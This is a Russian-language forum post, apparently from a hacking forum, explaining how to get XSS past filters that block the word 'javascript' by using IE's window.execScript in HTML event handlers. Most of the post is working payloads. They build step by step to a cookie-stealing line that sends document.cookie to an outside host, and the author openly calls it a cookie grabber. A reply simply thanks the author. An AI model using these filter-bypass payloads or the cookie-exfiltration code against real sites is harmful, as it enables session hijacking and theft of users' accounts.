03.08.2024

Проводим XSS без javascript

Vortex777

Интересующийся
Регистрация
27.06.2022
Сообщения
98
Реакции
0
Гарант продажи
0
Гарант покупки
0
Депозит
0 р
Cross-site_scripting_XSS-Thumb.jpg
Думаю многим из вас приходилось встречать чаты/форумы/др. в которых присутвует уязвимость XSS, но провести ее сложно, по причине фильтрации магических слов javascript и vbscript, и модификации типа JaVasCriPt, javascript(с пробелами или табуляцией в начале),&#xx... и прочее не помогает. Так вот убедившись, что слово javascript наглухо фильтруется, есть возможность попробовать альтернативу execScript(это метод объекта window). Как написано в документации execScript - "Выполняет заданный сценарий".

Рассмотрим на простом примере:

Классический случай:
Код:
<font color=red onmouseover=javascript:alert()>алерт работает!</font>
Используем execScript:
Код:
<font color=red onmouseover=window.execScript(alert())>И тут работает!</font>
Эффект тот же=))

Но, видимо, популярность такого метода не такая высокая как у классического по причине есго кривости...изначально в документации синтаксис execScript выглядит так:window.execScript(выражение [,язык]), но в последних версиях IE execScript не поймет даже такую строку execScript("a=1;alert(a)"). Выяснено, что он категорически не любит пробелы кавычки и ряд других необходимых символов(например для угона кукисов).
Попробуйте:
Код:
<font color=red onmouseover=window.execScript(q="http://antichat.org/s/xex.gif?"+document.cookie)>не работает!</font>
Для решения первой проблемы(невозможность использовать несколько команд одновременно(execScript(a=1;alert(a))) мы используем следующую особенность:
Код:
<font color=red onmouseover=window.execScript(alert());window.execScript(alert())>Два алерта!</font>
т.е. через ; можем использовать несколько подряд идущих методов, что уже неплохо.
А для решения второй проблемы(его нелюбовь к кавычкам и прочим символам) используем такую замечательную вещь как функции, типа alert, eval, isNaN и возможно прочие. Из этих трех мне приглянулась isNaN. Назначение этих функций для нас не важно, вся фича в том, что эти функции неким магическим способом(кому надо сам разберется) позволяют нам творить невозможное=)
Смотрим:
Код:
<font color=red onmouseover=window.execScript(isNaN(q="http://antichat.org/s/we.gif?"+document.cookie));window.execScript(alert(q))>Получилось!</font>
Т.е. мы решили вторую проблему, таким образом мы создаем полноценную "куки-тырилку", несмотря на паранойю разработчика=))
 

Performance

Проверенный продавец
Проверенный продавец
Бар "Собрание"
Регистрация
05.12.2021
Сообщения
65
Реакции
2
Гарант продажи
0
Гарант покупки
0
Депозит
0 р
Спасибо за информацию)
 
Сверху